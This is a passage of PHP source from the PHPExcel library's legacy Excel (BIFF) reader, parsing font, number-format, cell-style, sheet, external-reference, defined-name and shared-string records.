(!$this->readDataOnly) { $objFont = new PHPExcel_Style_Font(); // offset: 0; size: 2; height of the font (in twips = 1/20 of a point) $size = self::getInt2d($recordData, 0); $objFont->setSize($size / 20); // offset: 2; size: 2; option flags // bit: 0; mask 0x0001; bold (redundant in BIFF5-BIFF8) // bit: 1; mask 0x0002; italic $isItalic = (0x0002 & self::getInt2d($recordData, 2)) >> 1; if ($isItalic) { $objFont->setItalic(true); } // bit: 2; mask 0x0004; underlined (redundant in BIFF5-BIFF8) // bit: 3; mask 0x0008; strike $isStrike = (0x0008 & self::getInt2d($recordData, 2)) >> 3; if ($isStrike) { $objFont->setStrikethrough(true); } // offset: 4; size: 2; colour index $colorIndex = self::getInt2d($recordData, 4); $objFont->colorIndex = $colorIndex; // offset: 6; size: 2; font weight $weight = self::getInt2d($recordData, 6); switch ($weight) { case 0x02BC: $objFont->setBold(true); break; } // offset: 8; size: 2; escapement type $escapement = self::getInt2d($recordData, 8); switch ($escapement) { case 0x0001: $objFont->setSuperScript(true); break; case 0x0002: $objFont->setSubScript(true); break; } // offset: 10; size: 1; underline type $underlineType = ord($recordData{10}); switch ($underlineType) { case 0x00: break; // no underline case 0x01: $objFont->setUnderline(PHPExcel_Style_Font::UNDERLINE_SINGLE); break; case 0x02: $objFont->setUnderline(PHPExcel_Style_Font::UNDERLINE_DOUBLE); break; case 0x21: $objFont->setUnderline(PHPExcel_Style_Font::UNDERLINE_SINGLEACCOUNTING); break; case 0x22: $objFont->setUnderline(PHPExcel_Style_Font::UNDERLINE_DOUBLEACCOUNTING); break; } // offset: 11; size: 1; font family // offset: 12; size: 1; character set // offset: 13; size: 1; not used // offset: 14; size: var; font name if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringShort(substr($recordData, 14)); } else { $string = $this->readByteStringShort(substr($recordData, 14)); } $objFont->setName($string['value']); $this->objFonts[] = $objFont; } } /** * FORMAT * * This record contains information about a number format. * All FORMAT records occur together in a sequential list. * * In BIFF2-BIFF4 other records referencing a FORMAT record * contain a zero-based index into this list. From BIFF5 on * the FORMAT record contains the index itself that will be * used by other records. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readFormat() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { $indexCode = self::getInt2d($recordData, 0); if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringLong(substr($recordData, 2)); } else { // BIFF7 $string = $this->readByteStringShort(substr($recordData, 2)); } $formatString = $string['value']; $this->formats[$indexCode] = $formatString; } } /** * XF - Extended Format * * This record contains formatting information for cells, rows, columns or styles. * According to http://support.microsoft.com/kb/147732 there are always at least 15 cell style XF * and 1 cell XF. * Inspection of Excel files generated by MS Office Excel shows that XF records 0-14 are cell style XF * and XF record 15 is a cell XF * We only read the first cell style XF and skip the remaining cell style XF records * We read all cell XF records. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readXf() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; $objStyle = new PHPExcel_Style(); if (!$this->readDataOnly) { // offset: 0; size: 2; Index to FONT record if (self::getInt2d($recordData, 0) < 4) { $fontIndex = self::getInt2d($recordData, 0); } else { // this has to do with that index 4 is omitted in all BIFF versions for some strange reason // check the OpenOffice documentation of the FONT record $fontIndex = self::getInt2d($recordData, 0) - 1; } $objStyle->setFont($this->objFonts[$fontIndex]); // offset: 2; size: 2; Index to FORMAT record $numberFormatIndex = self::getInt2d($recordData, 2); if (isset($this->formats[$numberFormatIndex])) { // then we have user-defined format code $numberformat = array('code' => $this->formats[$numberFormatIndex]); } elseif (($code = PHPExcel_Style_NumberFormat::builtInFormatCode($numberFormatIndex)) !== '') { // then we have built-in format code $numberformat = array('code' => $code); } else { // we set the general format code $numberformat = array('code' => 'General'); } $objStyle->getNumberFormat()->setFormatCode($numberformat['code']); // offset: 4; size: 2; XF type, cell protection, and parent style XF // bit 2-0; mask 0x0007; XF_TYPE_PROT $xfTypeProt = self::getInt2d($recordData, 4); // bit 0; mask 0x01; 1 = cell is locked $isLocked = (0x01 & $xfTypeProt) >> 0; $objStyle->getProtection()->setLocked($isLocked ? PHPExcel_Style_Protection::PROTECTION_INHERIT : PHPExcel_Style_Protection::PROTECTION_UNPROTECTED); // bit 1; mask 0x02; 1 = Formula is hidden $isHidden = (0x02 & $xfTypeProt) >> 1; $objStyle->getProtection()->setHidden($isHidden ? PHPExcel_Style_Protection::PROTECTION_PROTECTED : PHPExcel_Style_Protection::PROTECTION_UNPROTECTED); // bit 2; mask 0x04; 0 = Cell XF, 1 = Cell Style XF $isCellStyleXf = (0x04 & $xfTypeProt) >> 2; // offset: 6; size: 1; Alignment and text break // bit 2-0, mask 0x07; horizontal alignment $horAlign = (0x07 & ord($recordData{6})) >> 0; switch ($horAlign) { case 0: $objStyle->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_GENERAL); break; case 1: $objStyle->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT); break; case 2: $objStyle->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); break; case 3: $objStyle->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_RIGHT); break; case 4: $objStyle->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_FILL); break; case 5: $objStyle->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_JUSTIFY); break; case 6: $objStyle->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER_CONTINUOUS); break; } // bit 3, mask 0x08; wrap text $wrapText = (0x08 & ord($recordData{6})) >> 3; switch ($wrapText) { case 0: $objStyle->getAlignment()->setWrapText(false); break; case 1: $objStyle->getAlignment()->setWrapText(true); break; } // bit 6-4, mask 0x70; vertical alignment $vertAlign = (0x70 & ord($recordData{6})) >> 4; switch ($vertAlign) { case 0: $objStyle->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_TOP); break; case 1: $objStyle->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER); break; case 2: $objStyle->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_BOTTOM); break; case 3: $objStyle->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_JUSTIFY); break; } if ($this->version == self::XLS_BIFF8) { // offset: 7; size: 1; XF_ROTATION: Text rotation angle $angle = ord($recordData{7}); $rotation = 0; if ($angle <= 90) { $rotation = $angle; } elseif ($angle <= 180) { $rotation = 90 - $angle; } elseif ($angle == 255) { $rotation = -165; } $objStyle->getAlignment()->setTextRotation($rotation); // offset: 8; size: 1; Indentation, shrink to cell size, and text direction // bit: 3-0; mask: 0x0F; indent level $indent = (0x0F & ord($recordData{8})) >> 0; $objStyle->getAlignment()->setIndent($indent); // bit: 4; mask: 0x10; 1 = shrink content to fit into cell $shrinkToFit = (0x10 & ord($recordData{8})) >> 4; switch ($shrinkToFit) { case 0: $objStyle->getAlignment()->setShrinkToFit(false); break; case 1: $objStyle->getAlignment()->setShrinkToFit(true); break; } // offset: 9; size: 1; Flags used for attribute groups // offset: 10; size: 4; Cell border lines and background area // bit: 3-0; mask: 0x0000000F; left style if ($bordersLeftStyle = PHPExcel_Reader_Excel5_Style_Border::lookup((0x0000000F & self::getInt4d($recordData, 10)) >> 0)) { $objStyle->getBorders()->getLeft()->setBorderStyle($bordersLeftStyle); } // bit: 7-4; mask: 0x000000F0; right style if ($bordersRightStyle = PHPExcel_Reader_Excel5_Style_Border::lookup((0x000000F0 & self::getInt4d($recordData, 10)) >> 4)) { $objStyle->getBorders()->getRight()->setBorderStyle($bordersRightStyle); } // bit: 11-8; mask: 0x00000F00; top style if ($bordersTopStyle = PHPExcel_Reader_Excel5_Style_Border::lookup((0x00000F00 & self::getInt4d($recordData, 10)) >> 8)) { $objStyle->getBorders()->getTop()->setBorderStyle($bordersTopStyle); } // bit: 15-12; mask: 0x0000F000; bottom style if ($bordersBottomStyle = PHPExcel_Reader_Excel5_Style_Border::lookup((0x0000F000 & self::getInt4d($recordData, 10)) >> 12)) { $objStyle->getBorders()->getBottom()->setBorderStyle($bordersBottomStyle); } // bit: 22-16; mask: 0x007F0000; left color $objStyle->getBorders()->getLeft()->colorIndex = (0x007F0000 & self::getInt4d($recordData, 10)) >> 16; // bit: 29-23; mask: 0x3F800000; right color $objStyle->getBorders()->getRight()->colorIndex = (0x3F800000 & self::getInt4d($recordData, 10)) >> 23; // bit: 30; mask: 0x40000000; 1 = diagonal line from top left to right bottom $diagonalDown = (0x40000000 & self::getInt4d($recordData, 10)) >> 30 ? true : false; // bit: 31; mask: 0x80000000; 1 = diagonal line from bottom left to top right $diagonalUp = (0x80000000 & self::getInt4d($recordData, 10)) >> 31 ? true : false; if ($diagonalUp == false && $diagonalDown == false) { $objStyle->getBorders()->setDiagonalDirection(PHPExcel_Style_Borders::DIAGONAL_NONE); } elseif ($diagonalUp == true && $diagonalDown == false) { $objStyle->getBorders()->setDiagonalDirection(PHPExcel_Style_Borders::DIAGONAL_UP); } elseif ($diagonalUp == false && $diagonalDown == true) { $objStyle->getBorders()->setDiagonalDirection(PHPExcel_Style_Borders::DIAGONAL_DOWN); } elseif ($diagonalUp == true && $diagonalDown == true) { $objStyle->getBorders()->setDiagonalDirection(PHPExcel_Style_Borders::DIAGONAL_BOTH); } // offset: 14; size: 4; // bit: 6-0; mask: 0x0000007F; top color $objStyle->getBorders()->getTop()->colorIndex = (0x0000007F & self::getInt4d($recordData, 14)) >> 0; // bit: 13-7; mask: 0x00003F80; bottom color $objStyle->getBorders()->getBottom()->colorIndex = (0x00003F80 & self::getInt4d($recordData, 14)) >> 7; // bit: 20-14; mask: 0x001FC000; diagonal color $objStyle->getBorders()->getDiagonal()->colorIndex = (0x001FC000 & self::getInt4d($recordData, 14)) >> 14; // bit: 24-21; mask: 0x01E00000; diagonal style if ($bordersDiagonalStyle = PHPExcel_Reader_Excel5_Style_Border::lookup((0x01E00000 & self::getInt4d($recordData, 14)) >> 21)) { $objStyle->getBorders()->getDiagonal()->setBorderStyle($bordersDiagonalStyle); } // bit: 31-26; mask: 0xFC000000 fill pattern if ($fillType = PHPExcel_Reader_Excel5_Style_FillPattern::lookup((0xFC000000 & self::getInt4d($recordData, 14)) >> 26)) { $objStyle->getFill()->setFillType($fillType); } // offset: 18; size: 2; pattern and background colour // bit: 6-0; mask: 0x007F; color index for pattern color $objStyle->getFill()->startcolorIndex = (0x007F & self::getInt2d($recordData, 18)) >> 0; // bit: 13-7; mask: 0x3F80; color index for pattern background $objStyle->getFill()->endcolorIndex = (0x3F80 & self::getInt2d($recordData, 18)) >> 7; } else { // BIFF5 // offset: 7; size: 1; Text orientation and flags $orientationAndFlags = ord($recordData{7}); // bit: 1-0; mask: 0x03; XF_ORIENTATION: Text orientation $xfOrientation = (0x03 & $orientationAndFlags) >> 0; switch ($xfOrientation) { case 0: $objStyle->getAlignment()->setTextRotation(0); break; case 1: $objStyle->getAlignment()->setTextRotation(-165); break; case 2: $objStyle->getAlignment()->setTextRotation(90); break; case 3: $objStyle->getAlignment()->setTextRotation(-90); break; } // offset: 8; size: 4; cell border lines and background area $borderAndBackground = self::getInt4d($recordData, 8); // bit: 6-0; mask: 0x0000007F; color index for pattern color $objStyle->getFill()->startcolorIndex = (0x0000007F & $borderAndBackground) >> 0; // bit: 13-7; mask: 0x00003F80; color index for pattern background $objStyle->getFill()->endcolorIndex = (0x00003F80 & $borderAndBackground) >> 7; // bit: 21-16; mask: 0x003F0000; fill pattern $objStyle->getFill()->setFillType(PHPExcel_Reader_Excel5_Style_FillPattern::lookup((0x003F0000 & $borderAndBackground) >> 16)); // bit: 24-22; mask: 0x01C00000; bottom line style $objStyle->getBorders()->getBottom()->setBorderStyle(PHPExcel_Reader_Excel5_Style_Border::lookup((0x01C00000 & $borderAndBackground) >> 22)); // bit: 31-25; mask: 0xFE000000; bottom line color $objStyle->getBorders()->getBottom()->colorIndex = (0xFE000000 & $borderAndBackground) >> 25; // offset: 12; size: 4; cell border lines $borderLines = self::getInt4d($recordData, 12); // bit: 2-0; mask: 0x00000007; top line style $objStyle->getBorders()->getTop()->setBorderStyle(PHPExcel_Reader_Excel5_Style_Border::lookup((0x00000007 & $borderLines) >> 0)); // bit: 5-3; mask: 0x00000038; left line style $objStyle->getBorders()->getLeft()->setBorderStyle(PHPExcel_Reader_Excel5_Style_Border::lookup((0x00000038 & $borderLines) >> 3)); // bit: 8-6; mask: 0x000001C0; right line style $objStyle->getBorders()->getRight()->setBorderStyle(PHPExcel_Reader_Excel5_Style_Border::lookup((0x000001C0 & $borderLines) >> 6)); // bit: 15-9; mask: 0x0000FE00; top line color index $objStyle->getBorders()->getTop()->colorIndex = (0x0000FE00 & $borderLines) >> 9; // bit: 22-16; mask: 0x007F0000; left line color index $objStyle->getBorders()->getLeft()->colorIndex = (0x007F0000 & $borderLines) >> 16; // bit: 29-23; mask: 0x3F800000; right line color index $objStyle->getBorders()->getRight()->colorIndex = (0x3F800000 & $borderLines) >> 23; } // add cellStyleXf or cellXf and update mapping if ($isCellStyleXf) { // we only read one style XF record which is always the first if ($this->xfIndex == 0) { $this->phpExcel->addCellStyleXf($objStyle); $this->mapCellStyleXfIndex[$this->xfIndex] = 0; } } else { // we read all cell XF records $this->phpExcel->addCellXf($objStyle); $this->mapCellXfIndex[$this->xfIndex] = count($this->phpExcel->getCellXfCollection()) - 1; } // update XF index for when we read next record ++$this->xfIndex; } } /** * */ private function readXfExt() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; 0x087D = repeated header // offset: 2; size: 2 // offset: 4; size: 8; not used // offset: 12; size: 2; record version // offset: 14; size: 2; index to XF record which this record modifies $ixfe = self::getInt2d($recordData, 14); // offset: 16; size: 2; not used // offset: 18; size: 2; number of extension properties that follow $cexts = self::getInt2d($recordData, 18); // start reading the actual extension data $offset = 20; while ($offset < $length) { // extension type $extType = self::getInt2d($recordData, $offset); // extension length $cb = self::getInt2d($recordData, $offset + 2); // extension data $extData = substr($recordData, $offset + 4, $cb); switch ($extType) { case 4: // fill start color $xclfType = self::getInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue{0}), ord($xclrValue{1}), ord($xclrValue{2})); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $fill = $this->phpExcel->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getFill(); $fill->getStartColor()->setRGB($rgb); unset($fill->startcolorIndex); // normal color index does not apply, discard } } break; case 5: // fill end color $xclfType = self::getInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue{0}), ord($xclrValue{1}), ord($xclrValue{2})); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $fill = $this->phpExcel->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getFill(); $fill->getEndColor()->setRGB($rgb); unset($fill->endcolorIndex); // normal color index does not apply, discard } } break; case 7: // border color top $xclfType = self::getInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue{0}), ord($xclrValue{1}), ord($xclrValue{2})); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $top = $this->phpExcel->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getBorders()->getTop(); $top->getColor()->setRGB($rgb); unset($top->colorIndex); // normal color index does not apply, discard } } break; case 8: // border color bottom $xclfType = self::getInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue{0}), ord($xclrValue{1}), ord($xclrValue{2})); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $bottom = $this->phpExcel->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getBorders()->getBottom(); $bottom->getColor()->setRGB($rgb); unset($bottom->colorIndex); // normal color index does not apply, discard } } break; case 9: // border color left $xclfType = self::getInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue{0}), ord($xclrValue{1}), ord($xclrValue{2})); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $left = $this->phpExcel->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getBorders()->getLeft(); $left->getColor()->setRGB($rgb); unset($left->colorIndex); // normal color index does not apply, discard } } break; case 10: // border color right $xclfType = self::getInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue{0}), ord($xclrValue{1}), ord($xclrValue{2})); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $right = $this->phpExcel->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getBorders()->getRight(); $right->getColor()->setRGB($rgb); unset($right->colorIndex); // normal color index does not apply, discard } } break; case 11: // border color diagonal $xclfType = self::getInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue{0}), ord($xclrValue{1}), ord($xclrValue{2})); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $diagonal = $this->phpExcel->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getBorders()->getDiagonal(); $diagonal->getColor()->setRGB($rgb); unset($diagonal->colorIndex); // normal color index does not apply, discard } } break; case 13: // font color $xclfType = self::getInt2d($extData, 0); // color type $xclrValue = substr($extData, 4, 4); // color value (value based on color type) if ($xclfType == 2) { $rgb = sprintf('%02X%02X%02X', ord($xclrValue{0}), ord($xclrValue{1}), ord($xclrValue{2})); // modify the relevant style property if (isset($this->mapCellXfIndex[$ixfe])) { $font = $this->phpExcel->getCellXfByIndex($this->mapCellXfIndex[$ixfe])->getFont(); $font->getColor()->setRGB($rgb); unset($font->colorIndex); // normal color index does not apply, discard } } break; } $offset += $cb; } } } /** * Read STYLE record */ private function readStyle() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; index to XF record and flag for built-in style $ixfe = self::getInt2d($recordData, 0); // bit: 11-0; mask 0x0FFF; index to XF record $xfIndex = (0x0FFF & $ixfe) >> 0; // bit: 15; mask 0x8000; 0 = user-defined style, 1 = built-in style $isBuiltIn = (bool) ((0x8000 & $ixfe) >> 15); if ($isBuiltIn) { // offset: 2; size: 1; identifier for built-in style $builtInId = ord($recordData{2}); switch ($builtInId) { case 0x00: // currently, we are not using this for anything break; default: break; } } else { // user-defined; not supported by PHPExcel } } } /** * Read PALETTE record */ private function readPalette() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; number of following colors $nm = self::getInt2d($recordData, 0); // list of RGB colors for ($i = 0; $i < $nm; ++$i) { $rgb = substr($recordData, 2 + 4 * $i, 4); $this->palette[] = self::readRGB($rgb); } } } /** * SHEET * * This record is located in the Workbook Globals * Substream and represents a sheet inside the workbook. * One SHEET record is written for each sheet. It stores the * sheet name and a stream offset to the BOF record of the * respective Sheet Substream within the Workbook Stream. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readSheet() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // offset: 0; size: 4; absolute stream position of the BOF record of the sheet // NOTE: not encrypted $rec_offset = self::getInt4d($this->data, $this->pos + 4); // move stream pointer to next record $this->pos += 4 + $length; // offset: 4; size: 1; sheet state switch (ord($recordData{4})) { case 0x00: $sheetState = PHPExcel_Worksheet::SHEETSTATE_VISIBLE; break; case 0x01: $sheetState = PHPExcel_Worksheet::SHEETSTATE_HIDDEN; break; case 0x02: $sheetState = PHPExcel_Worksheet::SHEETSTATE_VERYHIDDEN; break; default: $sheetState = PHPExcel_Worksheet::SHEETSTATE_VISIBLE; break; } // offset: 5; size: 1; sheet type $sheetType = ord($recordData{5}); // offset: 6; size: var; sheet name if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringShort(substr($recordData, 6)); $rec_name = $string['value']; } elseif ($this->version == self::XLS_BIFF7) { $string = $this->readByteStringShort(substr($recordData, 6)); $rec_name = $string['value']; } $this->sheets[] = array( 'name' => $rec_name, 'offset' => $rec_offset, 'sheetState' => $sheetState, 'sheetType' => $sheetType, ); } /** * Read EXTERNALBOOK record */ private function readExternalBook() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset within record data $offset = 0; // there are 4 types of records if (strlen($recordData) > 4) { // external reference // offset: 0; size: 2; number of sheet names ($nm) $nm = self::getInt2d($recordData, 0); $offset += 2; // offset: 2; size: var; encoded URL without sheet name (Unicode string, 16-bit length) $encodedUrlString = self::readUnicodeStringLong(substr($recordData, 2)); $offset += $encodedUrlString['size']; // offset: var; size: var; list of $nm sheet names (Unicode strings, 16-bit length) $externalSheetNames = array(); for ($i = 0; $i < $nm; ++$i) { $externalSheetNameString = self::readUnicodeStringLong(substr($recordData, $offset)); $externalSheetNames[] = $externalSheetNameString['value']; $offset += $externalSheetNameString['size']; } // store the record data $this->externalBooks[] = array( 'type' => 'external', 'encodedUrl' => $encodedUrlString['value'], 'externalSheetNames' => $externalSheetNames, ); } elseif (substr($recordData, 2, 2) == pack('CC', 0x01, 0x04)) { // internal reference // offset: 0; size: 2; number of sheet in this document // offset: 2; size: 2; 0x01 0x04 $this->externalBooks[] = array( 'type' => 'internal', ); } elseif (substr($recordData, 0, 4) == pack('vCC', 0x0001, 0x01, 0x3A)) { // add-in function // offset: 0; size: 2; 0x0001 $this->externalBooks[] = array( 'type' => 'addInFunction', ); } elseif (substr($recordData, 0, 2) == pack('v', 0x0000)) { // DDE links, OLE links // offset: 0; size: 2; 0x0000 // offset: 2; size: var; encoded source document name $this->externalBooks[] = array( 'type' => 'DDEorOLE', ); } } /** * Read EXTERNNAME record. */ private function readExternName() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // external sheet references provided for named cells if ($this->version == self::XLS_BIFF8) { // offset: 0; size: 2; options $options = self::getInt2d($recordData, 0); // offset: 2; size: 2; // offset: 4; size: 2; not used // offset: 6; size: var $nameString = self::readUnicodeStringShort(substr($recordData, 6)); // offset: var; size: var; formula data $offset = 6 + $nameString['size']; $formula = $this->getFormulaFromStructure(substr($recordData, $offset)); $this->externalNames[] = array( 'name' => $nameString['value'], 'formula' => $formula, ); } } /** * Read EXTERNSHEET record */ private function readExternSheet() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // external sheet references provided for named cells if ($this->version == self::XLS_BIFF8) { // offset: 0; size: 2; number of following ref structures $nm = self::getInt2d($recordData, 0); for ($i = 0; $i < $nm; ++$i) { $this->ref[] = array( // offset: 2 + 6 * $i; index to EXTERNALBOOK record 'externalBookIndex' => self::getInt2d($recordData, 2 + 6 * $i), // offset: 4 + 6 * $i; index to first sheet in EXTERNALBOOK record 'firstSheetIndex' => self::getInt2d($recordData, 4 + 6 * $i), // offset: 6 + 6 * $i; index to last sheet in EXTERNALBOOK record 'lastSheetIndex' => self::getInt2d($recordData, 6 + 6 * $i), ); } } } /** * DEFINEDNAME * * This record is part of a Link Table. It contains the name * and the token array of an internal defined name. Token * arrays of defined names contain tokens with aberrant * token classes. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readDefinedName() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->version == self::XLS_BIFF8) { // retrieves named cells // offset: 0; size: 2; option flags $opts = self::getInt2d($recordData, 0); // bit: 5; mask: 0x0020; 0 = user-defined name, 1 = built-in-name $isBuiltInName = (0x0020 & $opts) >> 5; // offset: 2; size: 1; keyboard shortcut // offset: 3; size: 1; length of the name (character count) $nlen = ord($recordData{3}); // offset: 4; size: 2; size of the formula data (it can happen that this is zero) // note: there can also be additional data, this is not included in $flen $flen = self::getInt2d($recordData, 4); // offset: 8; size: 2; 0=Global name, otherwise index to sheet (1-based) $scope = self::getInt2d($recordData, 8); // offset: 14; size: var; Name (Unicode string without length field) $string = self::readUnicodeString(substr($recordData, 14), $nlen); // offset: var; size: $flen; formula data $offset = 14 + $string['size']; $formulaStructure = pack('v', $flen) . substr($recordData, $offset); try { $formula = $this->getFormulaFromStructure($formulaStructure); } catch (PHPExcel_Exception $e) { $formula = ''; } $this->definedname[] = array( 'isBuiltInName' => $isBuiltInName, 'name' => $string['value'], 'formula' => $formula, 'scope' => $scope, ); } } /** * Read MSODRAWINGGROUP record */ private function readMsoDrawingGroup() { $length = self::getInt2d($this->data, $this->pos + 2); // get spliced record data $splicedRecordData = $this->getSplicedRecordData(); $recordData = $splicedRecordData['recordData']; $this->drawingGroupData .= $recordData; } /** * SST - Shared String Table * * This record contains a list of all strings used anywhere * in the workbook. Each string occurs only once. The * workbook uses indexes into the list to reference the * strings. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" **/ private function readSst() { // offset within (spliced) record data $pos = 0; // get spliced record data $splicedRecordData = $this->getSplicedRecordData(); $recordData = $splicedRecordData['recordData']; $spliceOffsets = $splicedRecordData['spliceOffsets']; // offset: 0; size: 4; total number of strings in the workbook $pos += 4; // offset: 4; size: 4; number of following strings ($nm) $nm = self::getInt4d($recordData, 4); $pos += 4; // loop through the Unicode strings (16-bit length) for ($i = 0; $i < $nm; ++$i) { // number of characters in the Unicode string $numChars = self::getInt2d($recordData, $pos); $pos += 2; // option flags $optionFlags = ord($recordData{$pos}); ++$pos; // bit: 0; mask: 0x01; 0 = compressed; 1 = uncompressed $isCompressed = (($optionFlags & 0x01) == 0) ; // bit: 2; mask: 0x02; 0 = ordinary; 1 = Asian phonetic $hasAsian = (($optionFlags & 0x04) != 0); // bit: 3; mask: 0x03; 0 = ordinary; 1 = Rich-Text $hasRichText = (($optionFlags & 0x08) != 0); if ($hasRichText) { // number of Rich-Text formatting runs $formattingRuns = self::getInt2d($recordData, $pos); $pos += 2; } if ($hasAsian) { // size of Asian phonetic setting $extendedRunLength = self::getInt4d($recordData, $pos); $pos += 4; } // expected byte length of character array if not split $len = ($isCompressed) ? $numChars : $numChars * 2; // look up limit position foreach ($spliceOffsets as $spliceOffset) { // it can happen that the string is empty, therefore we need // <= and not just < if ($pos <= $spliceOffset) { $limitpos = $spliceOffset; break; } } if ($pos + $len <= $limitpos) { // character array is not split between records $retstr = substr($recordData, $pos, $len); $pos += $len; } else { // character array is split between records // first part of character array $retstr = substr($recordData, $pos, $limitpos - $pos); $bytesRead = $limitpos - $pos; // remaining characters in Unicode string $charsLeft = $numChars - (($isCompressed) ? $bytesRead : ($bytesRead / 2)); $pos = $limitpos; // keep reading the characters while ($charsLeft > 0) { // look up next limit position, in case the string span more than one continue record foreach ($spliceOffsets as $spliceOffset) { if ($pos < $spliceOffset) { $limitpos = $spliceOffset; break; } } // repeated option flags // OpenOffice.org documentation 5.21 $option = ord($recordData{$pos}); ++$pos; if ($isCompressed && ($option == 0)) { // 1st fragment compressed // this fragment compressed $len = min($charsLeft, $limitpos - $pos); $retstr .= substr($recordData, $pos, $len); $charsLeft -= $len; $isCompressed = true; } elseif (!$isCompressed && ($option != 0)) { // 1st fragment uncompressed // this fragment uncompressed $len = min($charsLeft * 2, $limitpos - $pos); $retstr .= substr($recordData, $pos, $len); $charsLeft -= $len / 2; $isCompressed = false; } elseif (!$isCompressed && ($option == 0)) { // 1st fragment uncompressed // this fragment compressed $len = min($charsLeft, $limitpos - $pos); for ($j = 0; $j < $len; ++$j) { $retstr .= $recordData{$pos + $j} . chr(0); } $charsLeft -= $len; $isCompressed = false; } else { // 1st fragment compressed // this fragment uncompressed $newstr = ''; for ($j = 0; $j < strlen($retstr); ++$j) { $newstr .= $retstr[$j] . chr(0); } $retstr = $newstr; $len = min($charsLeft * 2, $limitpos - $pos); $retstr .= substr($recordData, $pos, $len); $charsLeft -= $len / 2; $isCompressed = false; } $pos += $len; } } // convert to UTF-8 $retstr = self::encodeUTF16($retstr, $isCompressed); // read additional Rich-Text information, if any $fmtRuns = array(); if ($hasRichText) { // list of formatting runs for ($j = 0; $j < $formattingRuns; ++$j) { // first formatted character; zero-based $charPos = self::getInt2d($recordData, $pos + $j * 4); // index to font record $fontIndex = self::getInt2d($recordData, $pos + 2 + $j * 4); $fmtRuns[] = array( 'charPos' => $charPos, 'fontIndex' => $fontIndex, ); } $pos += 4 * $formattingRuns; } // read additional Asian phonetics information, if any if ($hasAsian) { // For Asian phonetic 